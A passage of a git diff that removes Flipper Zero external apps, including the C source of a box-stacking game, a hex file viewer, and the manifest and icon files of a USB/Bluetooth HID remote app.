true; -} - -static bool horizontal_move(Person* person, Field field) { - Position new_position = person->p; - - if(!person->x_direction) return false; - - new_position.x += person->x_direction; - - bool on_edge_column = new_position.x > X_LAST; - if(on_edge_column) return false; - - if(is_empty(&field[new_position.y][new_position.x])) { - bool ground_box_dropped = ground_box_check(field, new_position); - if(ground_box_dropped) { - person->p = new_position; - return true; - } - } else if(is_movable(field, new_position, person->x_direction)) { - *get_next_box(field, new_position, person->x_direction) = - field[new_position.y][new_position.x]; - - field[new_position.y][new_position.x] = (Box){0}; - person->p = new_position; - return true; - } - return false; -} - -void hd_person_set_state(Person* person, PlayerStates state) { - person->states = state; - person->j_tick = 0; -} - -static void person_move(Person* person, Field field) { - /// Left-right logic - FURI_LOG_W(TAG, "[JUMP]func:[%s] line: %d", __FUNCTION__, __LINE__); - - if(person->states == PlayerNothing) { - if(!on_ground(person, field)) { - hd_person_set_state(person, PlayerFalling); - } - } else if(person->states == PlayerRising) { - if(person->j_tick++ == 0) { - person->p.y--; - } else if(person->j_tick == 6) { - hd_person_set_state(person, PlayerNothing); - } - - /// Destroy upper box - get_upper_box(field, person->p)->box_id = 0; - field[person->p.y][person->p.x].box_id = 0; - - } else if(person->states == PlayerFalling) { - if(person->j_tick++ == 0) { - if(on_ground(person, field)) { // TODO: Test the bugfix - hd_person_set_state(person, PlayerNothing); - } else { - person->p.y++; - } - } else if(person->j_tick == 5) { - if(on_ground(person, field)) { - hd_person_set_state(person, PlayerNothing); - } else { - hd_person_set_state(person, PlayerFalling); - } - } - } - - switch(person->h_tick) { - case 0: - break; - case 1: - person->h_tick++; - FURI_LOG_W(TAG, "[JUMP]func:[%s] line: %d", __FUNCTION__, __LINE__); - bool moved = horizontal_move(person, field); - if(!moved) { - person->h_tick = 0; - person->x_direction = 0; - } - break; - case 5: - FURI_LOG_W(TAG, "[JUMP]func:[%s] line: %d", __FUNCTION__, __LINE__); - person->h_tick = 0; - person->x_direction = 0; - break; - default: - FURI_LOG_W(TAG, "[JUMP]func:[%s] line: %d", __FUNCTION__, __LINE__); - person->h_tick++; - } -} - -static inline bool is_person_dead(Person* person, Box** field) { - return get_upper_box(field, person->p)->box_id != 0; -} - -/** - * #Callback - */ - -static void draw_box(Canvas* canvas, Box* box, int x, int y) { - if(is_empty(box)) { - return; - } - byte y_screen = y * BOX_HEIGHT - box->offset; - byte x_screen = x * BOX_WIDTH + DRAW_X_OFFSET; - - if(box->box_id == 0) { - canvas_set_bitmap_mode(canvas, true); - icon_animation_start(BOX_DESTROYED); - canvas_draw_icon_animation(canvas, x_screen, y_screen, BOX_DESTROYED); - if(icon_animation_is_last_frame(BOX_DESTROYED)) { - *box = (Box){0}; - icon_animation_stop(BOX_DESTROYED); - } - canvas_set_bitmap_mode(canvas, false); - } else { - canvas_draw_icon(canvas, x_screen, y_screen, boxes[box->box_id]); - } -} - -static void heap_defense_render_callback(Canvas* const canvas, void* mutex) { - furi_assert(mutex); - const GameState* game = mutex; - furi_mutex_acquire(game->mutex, FuriWaitForever); - - ///Draw GameOver or Pause - if(!(game->game_status & GameStatusInProgress)) { - FURI_LOG_W(TAG, "[DAED_DRAW]func: [%s] line: %d ", __FUNCTION__, __LINE__); - - canvas_draw_icon_animation(canvas, 0, 0, animations[game->animation]); - furi_mutex_release(game->mutex); - return; - } - - ///Draw field - canvas_draw_icon(canvas, 0, 0, &I_Background_128x64); - - ///Draw Person - const Person* person = game->person; - IconAnimation* player_animation = person->right_frame ? animations[AnimationRight] : - animations[AnimationLeft]; - - uint8_t x_screen = person->p.x * BOX_WIDTH + DRAW_X_OFFSET; - if(person->h_tick && person->h_tick != 1) { - if(person->right_frame) { - x_screen += (person->h_tick) * 2 - BOX_WIDTH; - } else { - x_screen -= (person->h_tick) * 2 - BOX_WIDTH; - } - } - - uint8_t y_screen = (person->p.y - 1) * BOX_HEIGHT; - if(person->j_tick) { - if(person->states == PlayerRising) { - y_screen += BOX_HEIGHT - (person->j_tick) * 2; - } else if(person->states == PlayerFalling) { - y_screen -= BOX_HEIGHT - (person->j_tick) * 2; - } - } - - canvas_draw_icon_animation(canvas, x_screen, y_screen, player_animation); - - ///Draw Boxes - canvas_set_color(canvas, ColorBlack); - for(int y = 1; y < Y_FIELD_SIZE; ++y) { - for(int x = 0; x < X_FIELD_SIZE; ++x) { - draw_box(canvas, &(game->field[y][x]), x, y); - } - } - - furi_mutex_release(game->mutex); -} - -static void heap_defense_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - if(input_event->type != InputTypePress && input_event->type != InputTypeLong) return; - - furi_assert(event_queue); - GameEvent event = {.type = EventKeyPress, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void heap_defense_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event; - event.type = EventGameTick; - event.input = (InputEvent){0}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t heap_defence_app(void* p) { - UNUSED(p); - - //FURI_LOG_W(TAG, "Heap defence start %d", __LINE__); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - GameState* game = allocGameState(); - - game->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game->mutex) { - game_destroy(game); - return 1; - } - - assets_load(); - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, heap_defense_render_callback, game); - view_port_input_callback_set(view_port, heap_defense_input_callback, event_queue); - - FuriTimer* timer = - furi_timer_alloc(heap_defense_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / TIMER_UPDATE_FREQ); - - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - - memset(game->field[Y_LAST], 128, ROW_BYTE_SIZE); - game->person->p.y -= 2; - game->game_status = 0; - game->animation = AnimationPause; - - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - GameEvent event = {0}; - while(event.input.key != InputKeyBack) { - if(furi_message_queue_get(event_queue, &event, 100) != FuriStatusOk) { - continue; - } - - furi_mutex_acquire(game->mutex, FuriWaitForever); - - //unset vibration - if(game->game_status & GameStatusVibro) { - notification_message(notification, &sequence_reset_vibro); - game->game_status &= ~GameStatusVibro; - icon_animation_stop(BOX_DESTROYED); - memset(game->field[Y_LAST], 0, ROW_BYTE_SIZE); - } - - if(!(game->game_status & GameStatusInProgress)) { - if(event.type == EventKeyPress && event.input.key == InputKeyOk) { - game->game_status |= GameStatusInProgress; - icon_animation_stop(animations[game->animation]); - } - - } else if(event.type == EventKeyPress) { - handle_key_presses(game->person, &(event.input), game); - } else { // EventGameTick - - drop_box(game); - generate_box(game); - if(clear_rows(game->field)) { - notification_message(notification, &sequence_set_vibro_on); - icon_animation_start(BOX_DESTROYED); - game->game_status |= GameStatusVibro; - } - person_move(game->person, game->field); - - if(is_person_dead(game->person, game->field)) { - game->game_status &= ~GameStatusInProgress; - game->animation = AnimationGameOver; - icon_animation_start(animations[AnimationGameOver]); - game_reset_field_and_player(game); - notification_message(notification, &sequence_error); - } - } - furi_mutex_release(game->mutex); - view_port_update(view_port); - } - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - view_port_free(view_port); - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - furi_message_queue_free(event_queue); - assets_clear(); - furi_mutex_free(game->mutex); - game_destroy(game); - - return 0; -} diff --git a/applications/external/heap_defence_game/hede_assets.c b/applications/external/heap_defence_game/hede_assets.c deleted file mode 100644 index f45c0583d..000000000 --- a/applications/external/heap_defence_game/hede_assets.c +++ /dev/null @@ -1,28 +0,0 @@ -// -// Created by user on 15.12.2021. -// -#include "hede_assets.h" -#include - -const uint8_t _A_HD_BoxDestroyed_10x10_0[] = { - 0x01, 0x00, 0x10, 0x00, 0x00, 0x1d, 0xa2, 0x01, 0xc8, 0x80, - 0x6d, 0x20, 0x15, 0x08, 0x06, 0x72, 0x01, 0x48, 0x07, 0xa0, -}; -const uint8_t _A_HD_BoxDestroyed_10x10_1[] = { - 0x00, 0x00, 0x00, 0x28, 0x01, 0x4A, 0x00, 0xA8, 0x01, 0x84, 0x00, - 0x22, 0x00, 0x88, 0x00, 0x58, 0x01, 0x22, 0x00, 0x00, 0x00, -}; -const uint8_t _A_HD_BoxDestroyed_10x10_2[] = { - 0x00, 0x00, 0x00, 0x08, 0x01, 0x42, 0x00, 0x09, 0x01, 0x00, 0x02, - 0x02, 0x00, 0x01, 0x02, 0x00, 0x01, 0x21, 0x00, 0x42, 0x02, -}; -const uint8_t* _A_HD_BoxDestroyed_10x10[] = { - _A_HD_BoxDestroyed_10x10_0, - _A_HD_BoxDestroyed_10x10_1, - _A_HD_BoxDestroyed_10x10_2}; -const Icon A_HD_BoxDestroyed_10x10 = { - .width = 10, - .height = 10, - .frame_count = 3, - .frame_rate = 4, - .frames = _A_HD_BoxDestroyed_10x10}; \ No newline at end of file diff --git a/applications/external/heap_defence_game/hede_assets.h b/applications/external/heap_defence_game/hede_assets.h deleted file mode 100644 index 3bcabc59f..000000000 --- a/applications/external/heap_defence_game/hede_assets.h +++ /dev/null @@ -1,11 +0,0 @@ -// -// Created by user on 15.12.2021. -// - -#ifndef HEDE_ASSETS_H -#define HEDE_ASSETS_H -#include - -extern const Icon A_HD_BoxDestroyed_10x10; - -#endif diff --git a/applications/external/hex_viewer/LICENSE b/applications/external/hex_viewer/LICENSE deleted file mode 100644 index 69004dc62..000000000 --- a/applications/external/hex_viewer/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -MIT License - -Copyright (c) 2022 Roman Shchekin - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. diff --git a/applications/external/hex_viewer/application.fam b/applications/external/hex_viewer/application.fam deleted file mode 100644 index 5d6d3959d..000000000 --- a/applications/external/hex_viewer/application.fam +++ /dev/null @@ -1,18 +0,0 @@ -App( - appid="hex_viewer", - name="HEX Viewer", - apptype=FlipperAppType.EXTERNAL, - entry_point="hex_viewer_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - order=20, - fap_icon="icons/hex_10px.png", - fap_category="Tools", - fap_icon_assets="icons", - fap_author="@QtRoS", - fap_version="1.0", - fap_description="App allows to view various files as HEX.", -) diff --git a/applications/external/hex_viewer/hex_viewer.c b/applications/external/hex_viewer/hex_viewer.c deleted file mode 100644 index 4249720c4..000000000 --- a/applications/external/hex_viewer/hex_viewer.c +++ /dev/null @@ -1,294 +0,0 @@ -#include -#include - -#include -#include -#include -#include - -#include -#include -#include -#include - -#define TAG "HexViewer" - -#define HEX_VIEWER_APP_PATH_FOLDER "/any" -#define HEX_VIEWER_APP_EXTENSION "*" - -#define HEX_VIEWER_BYTES_PER_LINE 4u -#define HEX_VIEWER_LINES_ON_SCREEN 4u -#define HEX_VIEWER_BUF_SIZE (HEX_VIEWER_LINES_ON_SCREEN * HEX_VIEWER_BYTES_PER_LINE) - -typedef struct { - uint8_t file_bytes[HEX_VIEWER_LINES_ON_SCREEN][HEX_VIEWER_BYTES_PER_LINE]; - uint32_t file_offset; - uint32_t file_read_bytes; - uint32_t file_size; - Stream* stream; - bool mode; // Print address or content -} HexViewerModel; - -typedef struct { - HexViewerModel* model; - FuriMutex** mutex; - - FuriMessageQueue* input_queue; - - ViewPort* view_port; - Gui* gui; - Storage* storage; -} HexViewer; - -static void render_callback(Canvas* canvas, void* ctx) { - HexViewer* hex_viewer = ctx; - furi_check(furi_mutex_acquire(hex_viewer->mutex, FuriWaitForever) == FuriStatusOk); - - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - - elements_button_left(canvas, hex_viewer->model->mode ? "Addr" : "Text"); - elements_button_right(canvas, "Info"); - - int ROW_HEIGHT = 12; - int TOP_OFFSET = 10; - int LEFT_OFFSET = 3; - - uint32_t line_count = hex_viewer->model->file_size / HEX_VIEWER_BYTES_PER_LINE; - if(hex_viewer->model->file_size % HEX_VIEWER_BYTES_PER_LINE != 0) line_count += 1; - uint32_t first_line_on_screen = hex_viewer->model->file_offset / HEX_VIEWER_BYTES_PER_LINE; - if(line_count > HEX_VIEWER_LINES_ON_SCREEN) { - uint8_t width = canvas_width(canvas); - elements_scrollbar_pos( - canvas, - width, - 0, - ROW_HEIGHT * HEX_VIEWER_LINES_ON_SCREEN, - first_line_on_screen, // TODO - line_count - (HEX_VIEWER_LINES_ON_SCREEN - 1)); - } - - char temp_buf[32]; - uint32_t row_iters = hex_viewer->model->file_read_bytes / HEX_VIEWER_BYTES_PER_LINE; - if(hex_viewer->model->file_read_bytes % HEX_VIEWER_BYTES_PER_LINE != 0) row_iters += 1; - - for(uint32_t i = 0; i < row_iters; ++i) { - uint32_t bytes_left_per_row = - hex_viewer->model->file_read_bytes - i * HEX_VIEWER_BYTES_PER_LINE; - bytes_left_per_row = MIN(bytes_left_per_row, HEX_VIEWER_BYTES_PER_LINE); - - if(hex_viewer->model->mode) { - memcpy(temp_buf, hex_viewer->model->file_bytes[i], bytes_left_per_row); - temp_buf[bytes_left_per_row] = '\0'; - for(uint32_t j = 0; j < bytes_left_per_row; ++j) - if(!isprint((int)temp_buf[j])) temp_buf[j] = '.'; - - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str(canvas, LEFT_OFFSET, TOP_OFFSET + i * ROW_HEIGHT, temp_buf); - } else { - uint32_t addr = hex_viewer->model->file_offset + i * HEX_VIEWER_BYTES_PER_LINE; - snprintf(temp_buf, 32, "%04lX", addr); - - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str(canvas, LEFT_OFFSET, TOP_OFFSET + i * ROW_HEIGHT, temp_buf); - } - - char* p = temp_buf; - for(uint32_t j = 0; j < bytes_left_per_row; ++j) - p += snprintf(p, 32, "%02X ", hex_viewer->model->file_bytes[i][j]); - - canvas_set_font(canvas, FontKeyboard); - canvas_draw_str(canvas, LEFT_OFFSET + 41, TOP_OFFSET + i * ROW_HEIGHT, temp_buf); - } - - furi_mutex_release(hex_viewer->mutex); -} - -static void input_callback(InputEvent* input_event, void* ctx) { - HexViewer* hex_viewer = ctx; - if(input_event->type == InputTypeShort || input_event->type == InputTypeRepeat) { - furi_message_queue_put(hex_viewer->input_queue, input_event, 0); - } -} - -static HexViewer* hex_viewer_alloc() { - HexViewer* instance = malloc(sizeof(HexViewer)); - - instance->model = malloc(sizeof(HexViewerModel)); - memset(instance->model, 0x0, sizeof(HexViewerModel)); - - instance->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - - instance->input_queue = furi_message_queue_alloc(8, sizeof(InputEvent)); - - instance->view_port = view_port_alloc(); - view_port_draw_callback_set(instance->view_port, render_callback, instance); - view_port_input_callback_set(instance->view_port, input_callback, instance); - - instance->gui = furi_record_open(RECORD_GUI); - gui_add_view_port(instance->gui, instance->view_port, GuiLayerFullscreen); - - instance->storage = furi_record_open(RECORD_STORAGE); - - return instance; -} - -static void hex_viewer_free(HexViewer* instance) { - furi_record_close(RECORD_STORAGE); - - gui_remove_view_port(instance->gui, instance->view_port); - furi_record_close(RECORD_GUI); - view_port_free(instance->view_port); - - furi_message_queue_free(instance->input_queue); - - furi_mutex_free(instance->mutex); - - if(instance->model->stream) buffered_file_stream_close(instance->model->stream); - - free(instance->model); - free(instance); -} - -static bool hex_viewer_open_file(HexViewer* hex_viewer, const char* file_path) { - furi_assert(hex_viewer); - furi_assert(file_path); - - hex_viewer->model->stream = buffered_file_stream_alloc(hex_viewer->storage); - bool isOk = true; - - do { - if(!buffered_file_stream_open( - hex_viewer->model->stream, file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Unable to open stream: %s", file_path); - isOk = false; - break; - }; - - hex_viewer->model->file_size = stream_size(hex_viewer->model->stream); - } while(false); - - return isOk; -} - -static bool hex_viewer_read_file(HexViewer* hex_viewer) { - furi_assert(hex_viewer); - furi_assert(hex_viewer->model->stream); - furi_assert(hex_viewer->model->file_offset % HEX_VIEWER_BYTES_PER_LINE == 0); - - memset(hex_viewer->model->file_bytes, 0x0, HEX_VIEWER_BUF_SIZE); - bool isOk = true; - - do { - uint32_t offset = hex_viewer->model->file_offset; - if(!stream_seek(hex_viewer->model->stream, offset, true)) { - FURI_LOG_E(TAG, "Unable to seek stream"); - isOk = false; - break; - } - - hex_viewer->model->file_read_bytes = stream_read( - hex_viewer->model->stream, - (uint8_t*)hex_viewer->model->file_bytes, - HEX_VIEWER_BUF_SIZE); - } while(false); - - return isOk; -} - -int32_t hex_viewer_app(void* p) { - HexViewer* hex_viewer = hex_viewer_alloc(); - - FuriString* file_path; - file_path = furi_string_alloc(); - - do { - if(p && strlen(p)) { - furi_string_set(file_path, (const char*)p); - } else { - furi_string_set(file_path, HEX_VIEWER_APP_PATH_FOLDER); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, HEX_VIEWER_APP_EXTENSION, &I_hex_10px); - browser_options.hide_ext = false; - - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - bool res = dialog_file_browser_show(dialogs, file_path, file_path, &browser_options); - - furi_record_close(RECORD_DIALOGS); - if(!res) { - FURI_LOG_I(TAG, "No file selected"); - break; - } - } - - FURI_LOG_I(TAG, "File selected: %s", furi_string_get_cstr(file_path)); - - if(!hex_viewer_open_file(hex_viewer, furi_string_get_cstr(file_path))) break; - hex_viewer_read_file(hex_viewer); - - InputEvent input; - while(1) { - if(furi_message_queue_get(hex_viewer->input_queue, &input, 100) == FuriStatusOk) { - if(input.key == InputKeyBack) { - break; - } else if(input.key == InputKeyUp) { - furi_check( - furi_mutex_acquire(hex_viewer->mutex, FuriWaitForever) == FuriStatusOk); - if(hex_viewer->model->file_offset > 0) { - hex_viewer->model->file_offset -= HEX_VIEWER_BYTES_PER_LINE; - if(!hex_viewer_read_file(hex_viewer)) break; - } - furi_mutex_release(hex_viewer->mutex); - } else if(input.key == InputKeyDown) { - furi_check( - furi_mutex_acquire(hex_viewer->mutex, FuriWaitForever) == FuriStatusOk); - uint32_t last_byte_on_screen = - hex_viewer->model->file_offset + hex_viewer->model->file_read_bytes; - - if(hex_viewer->model->file_size > last_byte_on_screen) { - hex_viewer->model->file_offset += HEX_VIEWER_BYTES_PER_LINE; - if(!hex_viewer_read_file(hex_viewer)) break; - } - furi_mutex_release(hex_viewer->mutex); - } else if(input.key == InputKeyLeft) { - furi_check( - furi_mutex_acquire(hex_viewer->mutex, FuriWaitForever) == FuriStatusOk); - hex_viewer->model->mode = !hex_viewer->model->mode; - furi_mutex_release(hex_viewer->mutex); - } else if(input.key == InputKeyRight) { - FuriString* buffer; - buffer = furi_string_alloc(); - furi_string_printf( - buffer, - "File path: %s\nFile size: %lu (0x%lX)", - furi_string_get_cstr(file_path), - hex_viewer->model->file_size, - hex_viewer->model->file_size); - - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - dialog_message_set_header( - message, "Hex Viewer v1.1", 16, 2, AlignLeft, AlignTop); - dialog_message_set_icon(message, &I_hex_10px, 3, 2); - dialog_message_set_text( - message, furi_string_get_cstr(buffer), 3, 16, AlignLeft, AlignTop); - dialog_message_set_buttons(message, NULL, NULL, "Back"); - dialog_message_show(dialogs, message); - - furi_string_free(buffer); - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - } - } - - view_port_update(hex_viewer->view_port); - } - } while(false); - - furi_string_free(file_path); - hex_viewer_free(hex_viewer); - - return 0; -} diff --git a/applications/external/hex_viewer/icons/hex_10px.png b/applications/external/hex_viewer/icons/hex_10px.png deleted file mode 100644 index 582e288c6..000000000 Binary files a/applications/external/hex_viewer/icons/hex_10px.png and /dev/null differ diff --git a/applications/external/hid_app/application.fam b/applications/external/hid_app/application.fam deleted file mode 100644 index c27ad9c81..000000000 --- a/applications/external/hid_app/application.fam +++ /dev/null @@ -1,24 +0,0 @@ -App( - appid="hid_usb", - name="USB Keyboard & Mouse", - apptype=FlipperAppType.EXTERNAL, - entry_point="hid_usb_app", - stack_size=1 * 1024, - fap_category="USB", - fap_icon="hid_usb_10px.png", - fap_icon_assets="assets", - fap_icon_assets_symbol="hid", -) - - -App( - appid="hid_ble", - name="Bluetooth Remote", - apptype=FlipperAppType.EXTERNAL, - entry_point="hid_ble_app", - stack_size=1 * 1024, - fap_category="Bluetooth", - fap_icon="hid_ble_10px.png", - fap_icon_assets="assets", - fap_icon_assets_symbol="hid", -) diff --git a/applications/external/hid_app/assets/Arr_dwn_7x9.png b/applications/external/hid_app/assets/Arr_dwn_7x9.png deleted file mode 100644 index d4034efc4..000000000 Binary files a/applications/external/hid_app/assets/Arr_dwn_7x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Arr_up_7x9.png b/applications/external/hid_app/assets/Arr_up_7x9.png deleted file mode 100644 index 28b4236a2..000000000 Binary files a/applications/external/hid_app/assets/Arr_up_7x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Ble_connected_15x15.png b/applications/external/hid_app/assets/Ble_connected_15x15.png deleted file mode 100644 index 64dab9b53..000000000 Binary files a/applications/external/hid_app/assets/Ble_connected_15x15.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Ble_disconnected_15x15.png b/applications/external/hid_app/assets/Ble_disconnected_15x15.png deleted file mode 100644 index bd54646d8..000000000 Binary files a/applications/external/hid_app/assets/Ble_disconnected_15x15.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonDown_7x4.png b/applications/external/hid_app/assets/ButtonDown_7x4.png deleted file mode 100644 index 2954bb6a6..000000000 Binary files a/applications/external/hid_app/assets/ButtonDown_7x4.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF10_5x8.png b/applications/external/hid_app/assets/ButtonF10_5x8.png deleted file mode 100644 index d1a7a04f0..000000000 Binary files a/applications/external/hid_app/assets/ButtonF10_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF11_5x8.png b/applications/external/hid_app/assets/ButtonF11_5x8.png deleted file mode 100644 index 7e177358e..000000000 Binary files a/applications/external/hid_app/assets/ButtonF11_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF12_5x8.png b/applications/external/hid_app/assets/ButtonF12_5x8.png deleted file mode 100644 index 50d2a7dc6..000000000 Binary files a/applications/external/hid_app/assets/ButtonF12_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF1_5x8.png b/applications/external/hid_app/assets/ButtonF1_5x8.png deleted file mode 100644 index 7394d2710..000000000 Binary files a/applications/external/hid_app/assets/ButtonF1_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF2_5x8.png b/applications/external/hid_app/assets/ButtonF2_5x8.png deleted file mode 100644 index 9d922a385..000000000 Binary files a/applications/external/hid_app/assets/ButtonF2_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF3_5x8.png b/applications/external/hid_app/assets/ButtonF3_5x8.png deleted file mode 100644 index 95c2dd4f4..000000000 Binary files a/applications/external/hid_app/assets/ButtonF3_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF4_5x8.png b/applications/external/hid_app/assets/ButtonF4_5x8.png deleted file mode 100644 index 602466f4b..000000000 Binary files a/applications/external/hid_app/assets/ButtonF4_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF5_5x8.png b/applications/external/hid_app/assets/ButtonF5_5x8.png deleted file mode 100644 index d73b54052..000000000 Binary files a/applications/external/hid_app/assets/ButtonF5_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF6_5x8.png b/applications/external/hid_app/assets/ButtonF6_5x8.png deleted file mode 100644 index c50748257..000000000 Binary files a/applications/external/hid_app/assets/ButtonF6_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF7_5x8.png b/applications/external/hid_app/assets/ButtonF7_5x8.png deleted file mode 100644 index 396c98f51..000000000 Binary files a/applications/external/hid_app/assets/ButtonF7_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF8_5x8.png b/applications/external/hid_app/assets/ButtonF8_5x8.png deleted file mode 100644 index 6304d7fb8..000000000 Binary files a/applications/external/hid_app/assets/ButtonF8_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonF9_5x8.png b/applications/external/hid_app/assets/ButtonF9_5x8.png deleted file mode 100644 index 148e69580..000000000 Binary files a/applications/external/hid_app/assets/ButtonF9_5x8.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonLeft_4x7.png b/applications/external/hid_app/assets/ButtonLeft_4x7.png deleted file mode 100644 index 0b4655d43..000000000 Binary files a/applications/external/hid_app/assets/ButtonLeft_4x7.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonRight_4x7.png b/applications/external/hid_app/assets/ButtonRight_4x7.png deleted file mode 100644 index 8e1c74c1c..000000000 Binary files a/applications/external/hid_app/assets/ButtonRight_4x7.png and /dev/null differ diff --git a/applications/external/hid_app/assets/ButtonUp_7x4.png b/applications/external/hid_app/assets/ButtonUp_7x4.png deleted file mode 100644 index 1be79328b..000000000 Binary files a/applications/external/hid_app/assets/ButtonUp_7x4.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Button_18x18.png b/applications/external/hid_app/assets/Button_18x18.png deleted file mode 100644 index 30a5b4fab..000000000 Binary files a/applications/external/hid_app/assets/Button_18x18.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Circles_47x47.png b/applications/external/hid_app/assets/Circles_47x47.png deleted file mode 100644 index 6a16ebf7b..000000000 Binary files a/applications/external/hid_app/assets/Circles_47x47.png and /dev/null differ diff --git a/applications/external/hid_app/assets/KB_key_Alt_17x10.png b/applications/external/hid_app/assets/KB_key_Alt_17x10.png deleted file mode 100644 index 26c4f7315..000000000 Binary files a/applications/external/hid_app/assets/KB_key_Alt_17x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/KB_key_Cmd_17x10.png b/applications/external/hid_app/assets/KB_key_Cmd_17x10.png deleted file mode 100644 index 8d87ffde6..000000000 Binary files a/applications/external/hid_app/assets/KB_key_Cmd_17x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/KB_key_Ctl_17x10.png b/applications/external/hid_app/assets/KB_key_Ctl_17x10.png deleted file mode 100644 index 01f3157c9..000000000 Binary files a/applications/external/hid_app/assets/KB_key_Ctl_17x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/KB_key_Del_17x10.png b/applications/external/hid_app/assets/KB_key_Del_17x10.png deleted file mode 100644 index 62bad18b5..000000000 Binary files a/applications/external/hid_app/assets/KB_key_Del_17x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/KB_key_Esc_17x10.png b/applications/external/hid_app/assets/KB_key_Esc_17x10.png deleted file mode 100644 index 7a9fdda22..000000000 Binary files a/applications/external/hid_app/assets/KB_key_Esc_17x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/KB_key_Tab_17x10.png b/applications/external/hid_app/assets/KB_key_Tab_17x10.png deleted file mode 100644 index d904dd418..000000000 Binary files a/applications/external/hid_app/assets/KB_key_Tab_17x10.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Left_mouse_icon_9x9.png b/applications/external/hid_app/assets/Left_mouse_icon_9x9.png deleted file mode 100644 index c533d8572..000000000 Binary files a/applications/external/hid_app/assets/Left_mouse_icon_9x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Like_def_11x9.png b/applications/external/hid_app/assets/Like_def_11x9.png deleted file mode 100644 index 555bea3d4..000000000 Binary files a/applications/external/hid_app/assets/Like_def_11x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Like_pressed_17x17.png b/applications/external/hid_app/assets/Like_pressed_17x17.png deleted file mode 100644 index f5bf276f3..000000000 Binary files a/applications/external/hid_app/assets/Like_pressed_17x17.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Ok_btn_9x9.png b/applications/external/hid_app/assets/Ok_btn_9x9.png deleted file mode 100644 index 9a1539da2..000000000 Binary files a/applications/external/hid_app/assets/Ok_btn_9x9.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Ok_btn_pressed_13x13.png b/applications/external/hid_app/assets/Ok_btn_pressed_13x13.png deleted file mode 100644 index 6b46ba3a8..000000000 Binary files a/applications/external/hid_app/assets/Ok_btn_pressed_13x13.png and /dev/null differ diff --git a/applications/external/hid_app/assets/OutCircles_70x51.png b/applications/external/hid_app/assets/OutCircles_70x51.png deleted file mode 100644 index f34d2687a..000000000 Binary files a/applications/external/hid_app/assets/OutCircles_70x51.png and /dev/null differ diff --git a/applications/external/hid_app/assets/Pause_icon_9x9.png b/applications/external/hid_app/assets/Pause_icon_9x9.png deleted file mode 100644 